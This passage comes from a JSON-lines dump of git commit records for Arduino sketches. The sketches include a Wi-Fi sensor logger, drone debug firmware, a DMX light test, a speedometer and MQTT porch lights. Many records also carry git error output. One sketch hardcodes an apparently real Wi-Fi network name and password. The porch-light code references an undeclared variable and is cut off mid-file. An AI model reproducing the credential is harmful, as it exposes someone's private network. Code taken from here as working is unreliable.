known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"7e7ec4bb5a893293b2e052746988b9c150cc1536","subject":"\uc628\uc2b5\ub3c4 + \uc870\ub3c4 + Wi-Fi \ud1b5\uc2e0","message":"\uc628\uc2b5\ub3c4 + \uc870\ub3c4 + Wi-Fi \ud1b5\uc2e0\n","repos":"yoowonyoung\/IoD,yoowonyoung\/IoD","old_file":"Arduino\/DHT+Illumi_senser+Wi_Fi\/sketch_nov18a\/sketch_nov18a.ino","new_file":"Arduino\/DHT+Illumi_senser+Wi_Fi\/sketch_nov18a\/sketch_nov18a.ino","new_contents":"#include <SoftwareSerial.h>\n#include \"DHT.h\"\n\n#define DHTPIN 4 \/\/ what digital pin we're connected to\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302), AM2321\n\nSoftwareSerial softSerial(2, 3); \/\/ RX, TX\nString WSSID = \"LEE JEONG HYU\";\nString WPASS = \"9220230s*\";\nbool r;\nDHT dht(DHTPIN, DHTTYPE);\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"DHTxx test!\");\n\n dht.begin();\n \/* SETUP SERIAL COMMUNICATION *\/\n espSerialSetup();\n delay(2000); \/\/ Without this delay, sometimes, the program will not start until Serial Monitor is connected\n r = espSendCommand( \"AT+CIFSR\" , \"OK\" , 5000 );\n if ( !r ) {\n r = espSendCommand( \"AT+CWMODE=1\" , \"OK\" , 5000 );\n r = espSendCommand( \"AT+CWJAP=\\\"\" + WSSID + \"\\\",\\\"\" + WPASS + \"\\\"\" , \"OK\" , 15000 );\n }\n pinMode(8, OUTPUT);\n}\n\nvoid loop() {\n \/\/ Wait a few seconds between measurements.\n delay(10000);\n\n int l = analogRead(A0);\/\/\uc870\ub3c4 \ubc1b\uc74c\n \n \/\/ Reading temperature or humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor)\n float h = dht.readHumidity();\n \/\/ Read temperature as Celsius (the default)\n float t = dht.readTemperature();\n \/\/ Read temperature as Fahrenheit (isFahrenheit = true)\n float f = dht.readTemperature(true);\n\n \/\/ Check if any reads failed and exit early (to try again).\n if (isnan(h) || isnan(t) || isnan(f)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n\n \/\/ Compute heat index in Fahrenheit (the default)\n float hif = dht.computeHeatIndex(f, h);\n \/\/ Compute heat index in Celsius (isFahreheit = false)\n float hic = dht.computeHeatIndex(t, h, false);\n\n r = espSendCommand( \"AT+CIPSTART=\\\"TCP\\\",\\\"201310491.iptime.org\\\",6974\" , \"OK\" , 5000 );\n String getRequest = \"GET \/iodsc\/iodcontrol?action=insertHomeStatus&temp=\";\n getRequest += t;\n getRequest += \"&humid=\";\n getRequest += h;\n getRequest += \"&illum=\";\n getRequest += l;\n getRequest += \"HTTP\/1.0\\r\\n\";\n int getRequestLength = getRequest.length() + 2;\n r = espSendCommand( \"AT+CIPSEND=\" + String(getRequestLength) , \"OK\" , 5000 );\n if(espSendCommand( getRequest , \"SUCCESS\" , 15000 )){\n digitalWrite(8, HIGH);\n delay(1000);\n digitalWrite(8, LOW);\n }\n if ( !r ) {\n Serial.println( \"Something wrong...Attempting reset...\");\n espSendCommand( \"AT+RST\" , \"ready\" , 20000);\n espSendCommand( \"AT+CWMODE=1\" , \"OK\" , 5000 );\n espSendCommand( \"AT+CWJAP=\\\"\" + WSSID + \"\\\",\\\"\" + WPASS + \"\\\"\" , \"OK\" , 15000 );\n }\n}\n\nvoid espSerialSetup() {\n softSerial.begin(115200); \/\/ default baud rate for ESP8266\n delay(1000);\n softSerial.println(\"AT+CIOBAUD=9600\");\n delay(1000);\n softSerial.begin(9600);\n Serial.begin(9600);\n}\n\nbool espSendCommand(String cmd, String goodResponse, unsigned long timeout) {\n Serial.println(\"espSendCommand( \" + cmd + \" , \" + goodResponse + \" , \" + String(timeout) + \" )\" );\n softSerial.println(cmd);\n unsigned long tnow = millis();\n unsigned long tstart = millis();\n unsigned long execTime = 0;\n String response = \"\";\n char c;\n while ( true ) {\n if ( tnow > tstart + timeout ) {\n Serial.println(\"espSendCommand: FAILED - Timeout exceeded \" + String(timeout) + \" seconds\" );\n if ( response.length() > 0 ) {\n Serial.println(\"espSendCommand: RESPONSE:\");\n Serial.println( response );\n } else {\n Serial.println(\"espSendCommand: NO RESPONSE\");\n }\n return false;\n }\n c = softSerial.read();\n if ( c >= 0 ) {\n response += String(c);\n if ( response.indexOf(goodResponse) >= 0 ) {\n execTime = ( millis() - tstart );\n Serial.println(\"espSendCommand: SUCCESS - Response time: \" + String(execTime) + \"ms\");\n Serial.println(\"espSendCommand: RESPONSE:\");\n Serial.println(response);\n while (softSerial.available() > 0) {\n Serial.write(softSerial.read());\n }\n return true;\n }\n }\n tnow = millis();\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/DHT+Illumi_senser+Wi_Fi\/sketch_nov18a\/sketch_nov18a.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fcf87521349acdfca80817cf111ce54d38ed9014","subject":"Added FW for Drone for debugging","message":"Added FW for Drone for debugging\n\nAdded debug FW for Drone that leaves out autopilot to allow testing of\nservices.\n","repos":"bigwookiee\/Mission-Control,bigwookiee\/Mission-Control,bigwookiee\/Mission-Control,bigwookiee\/Mission-Control,bigwookiee\/Mission-Control","old_file":"xAPI\/XAPI_CLASSES\/XAPI_DRONE_DEBUG_COMMS\/XAPI_DRONE_DEBUG_COMMS.ino","new_file":"xAPI\/XAPI_CLASSES\/XAPI_DRONE_DEBUG_COMMS\/XAPI_DRONE_DEBUG_COMMS.ino","new_contents":"#include <Serial_service.h>\n#include <LiquidCrystal.h>\n#include <LCD_service.h>\n#include <Xapi.h>\n#include <Subscriptions.h>\n#include <Universal.h>\n#include <Util.h>\n#include <Single_buff.h>\n#include <Land_service.h>\n#include <Takeoff_service.h>\n#include <DoMove_service.h>\n#include <Arm_service.h>\n#include <Heartbeat_service.h>\n\n\/\/0013a200\n\/\/40a1446d\n\n\/\/***********************************************\n\/\/***********************************************\nXapi xapi = Xapi(Serial);\n\/\/Serial_service serial_service = Serial_service(Serial1, xapi);\nLCD_service lcd_service (xapi);\n\/\/************************************************\n\/\/ The next services pertain to drone instructions\n\/\/************************************************\nTakeoff_service takeoff_service(xapi, lcd_service);\nLand_service land_service(xapi, lcd_service);\nDoMove_service doMove_service(xapi, lcd_service);\nArm_service arm_service(xapi, lcd_service);\n\/\/Heartbeat_service heartbeat_service(xapi, lcd_service);\n\/\/Serial_service serial_service = Serial_service(Serial1, xapi, lcd_service);\nuint8_t msg1[] = \"I FEEL GREAT\";\nuint8_t msg2[] = \"COMMODORE 64\";\nuint8_t _clear[] = \" \";\n\n\n\/\/***********************************************\n\/\/***********************************************\nvoid setup()\n{\n Serial.begin(MISC_PC_SPEED);\n \/\/Serial1.begin(MISC_PC_SPEED);\n \n \n \n}\n\n\/\/***********************************************\n\/\/***********************************************\nvoid loop()\n{\n \/\/system_active();\n \/\/process_buttons();\n xapi.xapi_latch();\n lcd_service.lcd_service_latch();\n takeoff_service.takeoff_service_latch();\n land_service.land_service_latch();\n doMove_service.DoMove_service_latch();\n arm_service.arm_service_latch();\n \/\/heartbeat_service.heartbeat_service_latch();\n \/\/serial_service.serial_service_latch();\n \n \/\/delay(4000);\n}\n\n\n\/\/***********************************************\n\/\/ Old function. Not needed\n\/\/***********************************************\nvoid system_active()\n{\n static uint16_t cnt = 0;\n static uint8_t row = 0;\n \n cnt++;\n \n if ( (cnt%2500) == 0)\n {\n \/\/ turn off both stars\n lcd_service.lcd_print(15, 0, (const char*)\" \");\n lcd_service.lcd_print(15, 1, (const char*)\" \");\n \n row++;\n \/\/ turn on new row\n lcd_service.lcd_print(15, row%2, (const char*)\"*\");\n \n } \n \n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'xAPI\/XAPI_CLASSES\/XAPI_DRONE_DEBUG_COMMS\/XAPI_DRONE_DEBUG_COMMS.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a5168db0d0d88269b19d56f5a087ad622e8bc81a","subject":"damn damn damn buggydibugg","message":"damn damn damn buggydibugg\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndStopTest2\/SPI.ino","new_file":"EndStopTest2\/SPI.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"a074c29da28710603ae7ca61abdf963fc3202036","subject":"Move Arduino sketch to correct place","message":"Move Arduino sketch to correct place\n","repos":"rwood-moz\/iot-hacking","old_file":"physical-web\/arduino-beacon\/arduino-beacon.ino","new_file":"physical-web\/arduino-beacon\/arduino-beacon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rwood-moz\/iot-hacking.git\/'\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"c6824cade5fcdacc6d4731dd0396bf8f9fdbafbf","subject":"Updated test DS18B20 test sketch for new API and added some timings.","message":"Updated test DS18B20 test sketch for new API and added some timings.\n","repos":"Denzo77\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink","old_file":"dev\/test\/DS18B20Test\/DS18B20Test.ino","new_file":"dev\/test\/DS18B20Test\/DS18B20Test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a7c1eae9de50f5bd842ca47c7e1f88e3c5445547","subject":"Added DmxDueTest.cpp","message":"Added DmxDueTest.cpp\n\nAdded a quick smoke.test to see if we have dmx working on due.\n","repos":"voodoodemon\/TheFlyingMagicCarpet,voodoodemon\/TheFlyingMagicCarpet","old_file":"TestPrograms\/DmxDueTest\/DmxDueTest.ino","new_file":"TestPrograms\/DmxDueTest\/DmxDueTest.ino","new_contents":"\/* TODO: add header *\/\n\n#include <DmxSimple.h>\n\n\/\/======Compiler Definitions\n#define NUMMEGABARS 1 \/\/the number of Mega Bars connected to the DMX bus. 4-ch mode assumed. Mega bars must be addressed as 001, 005, 009, etc\n\n\/\/======Program Variables\nint MegaBarRed[NUMMEGABARS]; \nint MegaBarGreen[NUMMEGABARS];\nint MegaBarBlue[NUMMEGABARS];\nint MegaBarBrightness[NUMMEGABARS];\n\n\/\/======Function Definitions\nvoid update_megabars (int offset)\n{\n int j;\n offset = offset % NUMMEGABARS;\n for (int i=0; (i<NUMMEGABARS); i++)\n {\n j = ((i + offset) % NUMMEGABARS);\n DmxSimple.write( ((4*j)+1), MegaBarRed[i]);\n DmxSimple.write( ((4*j)+2), MegaBarGreen[i]);\n DmxSimple.write( ((4*j)+3), MegaBarBlue[i]);\n DmxSimple.write( ((4*j)+4), MegaBarBrightness[i]);\n }\n}\n\nvoid clear_megabars ()\n{\n \/\/ initialize all the outputs to 0: \n for (int thisMegaBar = 0; thisMegaBar < NUMMEGABARS; thisMegaBar++)\n {\n MegaBarRed[thisMegaBar] = 0; \n MegaBarGreen[thisMegaBar] = 0;\n MegaBarBlue[thisMegaBar] = 0; \n }\n \n update_megabars ( 0 );\n}\n\nvolatile uint32_t *REG;\nuint32_t MASK;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(LED_BUILTIN, OUTPUT);\n digitalWrite(LED_BUILTIN, LOW);\n Serial.print( \"setup\\n\" );\n DmxSimple.usePin(3);\n}\n\nvoid loop() {\n Serial.print( \"loop\\n\" );\n static bool red = true;\n clear_megabars();\n for (int i=0; (i<NUMMEGABARS); i++) {\n if ( red ) {\n MegaBarRed[i] = 255;\n } else {\n MegaBarGreen[i] = 255;\n }\n MegaBarBrightness[i] = 255;\n }\n update_megabars(0);\n if ( red ) {\n digitalWrite(LED_BUILTIN, HIGH);\n } else {\n digitalWrite(LED_BUILTIN, LOW);\n }\n red = !red;\n delay( 500 );\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TestPrograms\/DmxDueTest\/DmxDueTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3a1e583aa3adc4c5eeb9e4b256c0910375ad619d","subject":"fix some comments","message":"fix some comments\n","repos":"jnk0le\/RFM7x-lib","old_file":"examples\/Arduino workaround\/RF24.ino","new_file":"examples\/Arduino workaround\/RF24.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Arduino' did not match any file(s) known to git\nerror: pathspec 'workaround\/RF24.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"076a6c12152ea18fc7f974df90e681295e24d204","subject":"First example to build","message":"First example to build\n","repos":"jurriaan\/Arduino-PowerFunctions","old_file":"examples\/power_test1\/power_test1.ino","new_file":"examples\/power_test1\/power_test1.ino","new_contents":"#include <PowerFunctions.h>\n\n\/***\n * This demo uses an arduino to drive a \n * LEGO RC Tracked Racer 42065\n * To drive it you must give some inverted command in sync.\n * We go forward a bit then backward\n *\/\n\nPowerFunctions pf(12, 0);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n goForward(1500);\n goBackward(500);\n while(true) { delay(1000); }\n}\n\n\/\/TODO: Add blinking led (13) in the pf library as optional setup\nvoid goForward(uint16_t time){\n pf.combo_pwm(PWM_FWD2, PWM_REV2);\n delay(time);\n pf.combo_pwm(PWM_BRK,PWM_BRK);\n pf.combo_pwm(PWM_FLT,PWM_FLT);\n}\n\n\nvoid goBackward(uint16_t time){\n pf.combo_pwm(PWM_REV2, PWM_FWD2);\n delay(time);\n pf.combo_pwm(PWM_BRK,PWM_BRK);\n pf.combo_pwm(PWM_FLT,PWM_FLT);\n}\n\n\nvoid step(uint8_t output, uint8_t pwm, uint16_t time) {\n pf.single_pwm(output, pwm);\n delay(time);\n pf.single_pwm(output, PWM_BRK);\n delay(30);\n pf.single_pwm(output, PWM_FLT);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/power_test1\/power_test1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"68a71568a83000e9dbfd960bf5bef051c549b82d","subject":"we cannot react to errors anyway \u2026","message":"we cannot react to errors anyway \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"81472971058f8bd3adee9e346446f0015543861f","subject":"zmiany w komentarzu","message":"zmiany w komentarzu\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/msensors\/wmys01\/wmys01.ino","new_file":"modules\/msensors\/wmys01\/wmys01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fa059d70e06ca4d4bd5c4a00840989766a072abd","subject":"Taken code from http:\/\/www.instructables.com\/id\/Arduino-Bike-Speedometer\/?ALLSTEPS as a base of the hamsterometer","message":"Taken code from http:\/\/www.instructables.com\/id\/Arduino-Bike-Speedometer\/?ALLSTEPS as a base of the hamsterometer\n","repos":"mckelvaney\/hamsterometer","old_file":"speedo\/speedo.ino","new_file":"speedo\/speedo.ino","new_contents":"\/\/arduino bike speedometer w serial.print()\n\/\/by Amanda Ghassaei 2012\n\/\/http:\/\/www.instructables.com\/id\/Arduino-Bike-Speedometer\/\n\n\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n*\/\n\n\/\/calculations\n\/\/tire radius ~ 13.5 inches\n\/\/circumference = pi*2*r =~85 inches\n\/\/max speed of 35mph =~ 616inches\/second\n\/\/max rps =~7.25\n\n#define reed A0\/\/pin connected to read switch\n\n\/\/storage variables\nint reedVal;\nlong timer;\/\/ time between one full rotation (in ms)\nfloat mph;\nfloat radius = 13.5;\/\/ tire radius (in inches)\nfloat circumference;\n\nint maxReedCounter = 100;\/\/min time (in ms) of one rotation (for debouncing)\nint reedCounter;\n\n\nvoid setup(){\n \n reedCounter = maxReedCounter;\n circumference = 2*3.14*radius;\n pinMode(reed, INPUT);\n \n \/\/ TIMER SETUP- the timer interrupt allows precise timed measurements of the reed switch\n \/\/for more info about configuration of arduino timers see http:\/\/arduino.cc\/playground\/Code\/Timer1\n cli();\/\/stop interrupts\n\n \/\/set timer1 interrupt at 1kHz\n TCCR1A = 0;\/\/ set entire TCCR1A register to 0\n TCCR1B = 0;\/\/ same for TCCR1B\n TCNT1 = 0;\n \/\/ set timer count for 1khz increments\n OCR1A = 1999;\/\/ = (1\/1000) \/ ((1\/(16*10^6))*8) - 1\n \/\/ turn on CTC mode\n TCCR1B |= (1 << WGM12);\n \/\/ Set CS11 bit for 8 prescaler\n TCCR1B |= (1 << CS11); \n \/\/ enable timer compare interrupt\n TIMSK1 |= (1 << OCIE1A);\n \n sei();\/\/allow interrupts\n \/\/END TIMER SETUP\n \n Serial.begin(9600);\n}\n\n\nISR(TIMER1_COMPA_vect) {\/\/Interrupt at freq of 1kHz to measure reed switch\n reedVal = digitalRead(reed);\/\/get val of A0\n if (reedVal){\/\/if reed switch is closed\n if (reedCounter == 0){\/\/min time between pulses has passed\n mph = (56.8*float(circumference))\/float(timer);\/\/calculate miles per hour\n timer = 0;\/\/reset timer\n reedCounter = maxReedCounter;\/\/reset reedCounter\n }\n else{\n if (reedCounter > 0){\/\/don't let reedCounter go negative\n reedCounter -= 1;\/\/decrement reedCounter\n }\n }\n }\n else{\/\/if reed switch is open\n if (reedCounter > 0){\/\/don't let reedCounter go negative\n reedCounter -= 1;\/\/decrement reedCounter\n }\n }\n if (timer > 2000){\n mph = 0;\/\/if no new pulses from reed switch- tire is still, set mph to 0\n }\n else{\n timer += 1;\/\/increment timer\n } \n}\n\nvoid displayMPH(){\n Serial.println(mph);\n}\n\nvoid loop(){\n \/\/print mph once a second\n displayMPH();\n delay(1000);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'speedo\/speedo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e03ccf3422a3f5da95e1da501a577c932a8ef402","subject":"Added porch lighting code. Going to use this as base for all other devices after vetting.","message":"Added porch lighting code. Going to use this as base for all other devices after vetting.\n\nSigned-off-by: Braden Licastro <79d6010d7e15bbb3aa5be04af4e1cdfb0e9c5bfd@live.com>\n","repos":"BenchPressesBooks\/SNAP-Automata,BenchPressesBooks\/SNAP-Automata,BenchPressesBooks\/SNAP-Automata,BenchPressesBooks\/SNAP-Automata","old_file":"sketches\/PorchLights\/PorchLights.ino","new_file":"sketches\/PorchLights\/PorchLights.ino","new_contents":"\/*\n * Configuration for Home Assistant:\n * light:\n * # Exterior: \n * - platform: mqtt\n * name: 'Porch Ambiance Lights'\n * state_topic: 'exterior\/porchlights\/status'\n * command_topic: 'exterior\/porchlights\/switch'\n * optimistic: false\n *\/\n\n#include <ESP8266WiFi.h> \/\/ https:\/\/github.com\/esp8266\/Arduino (GNUv2.1 licence)\n#include <PubSubClient.h> \/\/ https:\/\/github.com\/knolleary\/pubsubclient (no licence)\n#include <ArduinoOTA.h>\n\n\n#define DEBUG\n#define MQTT_VERSION MQTT_VERSION_3_1_1\n\n\/\/ ESP8266: SSID and password of desired network\nconst char* AP_SSID = \"<REDACTED>\";\nconst char* AP_PASSWORD = \"<REDACTED>\";\n\n\/\/ Device network details: IP address, IP gateway, subnet, dns.\n\/\/ NOTE: WiFi does not support configurable MAC\nconst IPAddress IP (<REDACTED>);\nconst IPAddress IP_GATEWAY (<REDACTED>);\nconst IPAddress IP_SUBNET (<REDACTED>);\nconst IPAddress IP_DNS (<REDACTED>);\n\n\/\/ MQTT: client ID, broker IP, port, username & password\nconst char* MQTT_CLIENT_ID = \"<REDACTED>\";\nconst char* MQTT_SERVER_IP = \"<REDACTED>\";\nconst uint16_t MQTT_SERVER_PORT = 1883;\nconst char* MQTT_USERNAME = \"<REDACTED>\";\nconst char* MQTT_PASSWORD = \"<REDACTED>\";\n\n\/\/ OTA: hostname & password\nconst char* OTA_HOSTNAME = MQTT_CLIENT_ID;\nconst char* OTA_PASSWORD = \"<REDACTED>\";\nconst uint16_t OTA_PORT = 8266;\n\n\/\/ MQTT: topics\n\/\/ Exterior: Porch Ambiance Lights\nconst char* TOPIC_RELAY_STATUS = \"exterior\/porchlights\/status\";\nconst char* TOPIC_RELAY_COMMAND = \"exterior\/porchlights\/switch\";\n\n\/\/ MQTT: Expected Payloads\n\/\/ Lamps : \"ON\"\/\"OFF\"\nconst char* PAYLOAD_ON = \"ON\";\nconst char* PAYLOAD_OFF = \"OFF\";\n\n\/\/ Track current status of the devices\nboolean g_relay_status = false;\nboolean g_bypass_activated = false;\nboolean g_bypass_type = false; \/\/ True = switch; False = button\n\n\/\/ Buffer configuration used to send\/receive data with MQTT\nconst uint8_t MSG_BUFFER_SIZE = 20;\nchar g_msg_buffer[MSG_BUFFER_SIZE];\n\n\/\/ Pin configuration\nconst uint8_t RELAY_PIN = D1;\nconst uint8_t BYPASS_PIN = D2;\n\n\/\/ WiFi and MQTT client object initialization\nWiFiClient g_wifiClient;\nPubSubClient g_mqttClient(g_wifiClient);\n\n\n\/\/############################################################################\n\/\/\n\/\/ CONTROL AND STATUS \n\/\/\n\/\/############################################################################\n\n\/*\n * Publishes the status of the relay\n * INPUT: NA\n * RETURN: NA\n *\/\nvoid publishRelayStatus() {\n if (g_relay_status) {\n if (g_mqttClient.publish(TOPIC_RELAY_STATUS, PAYLOAD_ON, true)) {\n #ifdef DEBUG\n Serial.print(F(\"INFO: MQTT message publish succeeded.\\n Topic: \"));\n Serial.println(TOPIC_RELAY_STATUS);\n Serial.print(F(\" Payload: \"));\n Serial.println(PAYLOAD_ON);\n #endif\n } else {\n #ifdef DEBUG\n Serial.println(F(\"ERROR: MQTT message publish failed, either connection lost, or message too large\"));\n #endif\n }\n } else {\n if (g_mqttClient.publish(TOPIC_RELAY_STATUS, PAYLOAD_OFF, true)) {\n #ifdef DEBUG\n Serial.print(F(\"INFO: MQTT message publish succeeded.\\n Topic: \"));\n Serial.println(TOPIC_RELAY_STATUS);\n Serial.print(F(\" Payload: \"));\n Serial.println(PAYLOAD_OFF);\n #endif\n } else {\n #ifdef DEBUG\n Serial.println(F(\"ERROR: MQTT message publish failed, either connection lost, or message too large\"));\n #endif\n }\n }\n}\n\n\/*\n * Switches the state of the relay\n * INPUT: NA\n * RETURN: NA\n *\/\nvoid setRelayStatus() {\n if (g_relay_status) {\n digitalWrite(RELAY_PIN, HIGH);\n } else {\n digitalWrite(RELAY_PIN, LOW);\n }\n}\n\n\n\/\/############################################################################\n\/\/\n\/\/ WIFI CONFIGURATION\n\/\/\n\/\/############################################################################\n\n\/*\n * Set up the connection to the Access Point\n * INPUT: NA\n * RETURN: NA\n*\/\nvoid setupWifi() {\n delay(10);\n WiFi.mode(WIFI_STA); \/\/ Station mode. This is a client.\n WiFi.begin(AP_SSID, AP_PASSWORD);\n WiFi.config(IP, IP_GATEWAY, IP_SUBNET, IP_DNS); \/\/ MAC address configuration only supported for ethernet devices.\n\n \/\/ Hold until wireless connection is up and running.\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n }\n\n #ifdef DEBUG\n Serial.println(F(\"INFO: Client is now connected to the wireless network!\"));\n Serial.print(F(\" IP address: \"));\n Serial.println(WiFi.localIP());\n Serial.print(F(\" MAC Address: \"));\n Serial.println(WiFi.macAddress());\n #endif\n}\n\n\n\/\/############################################################################\n\/\/\n\/\/ MQTT\n\/\/\n\/\/############################################################################\n\n\/*\n * Function called when a MQTT message arrives\n * INPUT: Charanter array 'p_topic' is the topic of the MQTT message\n * Byte array 'p_payload' is the payload of the MQTT message\n * Integer 'p_length' is the expectedlength of the payload\n * RETURN: NA\n *\/\nvoid callback(char* p_topic, byte* p_payload, unsigned int p_length) {\n #ifdef DEBUG\n Serial.println(F(\"INFO: A new MQTT message has arrived\"));\n Serial.print(F(\" Topic: \"));\n Serial.println(p_topic);\n Serial.print(F(\" Payload: \"));\n for (int i = 0; i < p_length; i++) {\n Serial.print((char)p_payload[i]);\n }\n Serial.println();\n Serial.print(F(\" Length: \"));\n Serial.println(p_length);\n #endif\n \n \/\/ Act on the contents of the payload.\n if (String(TOPIC_RELAY_COMMAND).equals(p_topic)) {\n \/\/ Type juggle the payload from char array to string.\n String payload;\n for (uint8_t i = 0; i < p_length; i++) {\n payload.concat((char)p_payload[i]);\n }\n\n \/\/ Perform payload action IF manual bypass isn't triggered for the given event.\n if (payload.equals(String(PAYLOAD_ON)) && !g_bypass_hold) {\n g_relay_status = true;\n setRelayStatus();\n publishRelayStatus();\n } else if (payload.equals(String(PAYLOAD_OFF)) && !g_bypass_hold) {\n g_relay_status = false;\n setRelayStatus();\n publishRelayStatus();\n } else if (g_bypass_hold) {\n #ifdef DEBUG\n Serial.println(F(\"ALERT: Manual bypass for this action is held. Skipping this action.\"));\n #endif\n } else {\n #ifdef DEBUG\n Serial.println(F(\"ERROR: The payload of the MQTT message is not valid\"));\n #endif\n }\n } else {\n #ifdef DEBUG\n Serial.println(F(\"INFO: The received MQTT message was for a topic we did not subscribe to and was not used.\"));\n #endif\n }\n}\n\n\/*\n * Function called to reconnect the client to the MQTT broker and publish\/subscribe to\/from some MQTT topics\n * INPUT: NA\n * Return: NA\n *\/\nvoid reconnect() {\n while (!g_mqttClient.connected()) {\n if (g_mqttClient.connect(MQTT_CLIENT_ID, MQTT_USERNAME, MQTT_PASSWORD)) {\n #ifdef DEBUG\n Serial.println(F(\"INFO: The client is successfully connected to the MQTT broker\"));\n #endif\n\n \/\/ Subscribe to the command topic.\n if (g_mqttClient.subscribe(TOPIC_RELAY_COMMAND)) {\n #ifdef DEBUG\n Serial.print(F(\"INFO: Sending the MQTT subscribe succeeded.\\n Topic: \"));\n Serial.println(TOPIC_RELAY_COMMAND);\n #endif\n } else {\n #ifdef DEBUG\n Serial.print(F(\"ERROR: Sending the MQTT subscribe failed.\\n Topic: \"));\n Serial.println(TOPIC_RELAY_COMMAND);\n #endif\n }\n\n \/\/ Set the relay to match the value that we have stored.\n setRelayStatus();\n\n \/\/ Publish the status of the relay so bring everything back into sync.\n publishRelayStatus();\n } else {\n #ifdef DEBUG\n Serial.print(F(\"ERROR: The connection failed with the MQTT broker.\\n Status: \"));\n Serial.println(g_mqttClient.state());\n #endif\n \n \/\/ Wait before retrying instead of clobbering the server.\n delay(2500);\n }\n }\n}\n\n\n\/\/############################################################################\n\/\/\n\/\/ Bypass monitoring and actions\n\/\/\n\/\/############################################################################\n\n\/*\n * Interrupt received, bypass flag for loop action item\n * INPUT: NA\n * RETURN: NA\n *\/\nvoid g_bypass_activated_interrupt() {\n #ifdef DEBUG\n Serial.println(\"INFO: Bypass interrupt activated.\");\n #endif\n \n \/\/ Set the interrupt\n g_bypass_activated = true;\n}\n\n\/*\n * Detected bypass input request, trigger bypass action\n * INPUT: NA\n * RETURN: NA\n *\/\nvoid g_bypass_activated_actionable(){\n if (g_relay_status == false && digitalRead(BYPASS_PIN) == 1) {\n #ifdef DEBUG\n Serial.println(\"INFO: Bypass state switched from OFF to ON.\");\n #endif\n g_relay_status = true;\n setRelayStatus();\n publishRelayStatus();\n } else if (g_relay_status == true && digitalRead(BYPASS_PIN) == 0) {\n #ifdef DEBUG\n Serial.println(\"INFO: Bypass state switched from ON to OFF\");\n #endif\n g_relay_status = false;\n setRelayStatus();\n publishRelayStatus();\n } else {\n #ifdef DEBUG\n Serial.println(\"INFO: Requested bypass state matches current state.\");\n #endif\n }\n}\n\n\n\/\/############################################################################\n\/\/\n\/\/ SETUP and LOOP\n\/\/\n\/\/############################################################################\n\n\/*\n * System initialization\n *\/\nvoid setup() {\n #ifdef DEBUG\n Serial.begin(115200);\n Serial.println(F(\"\\nINFO: Wireless 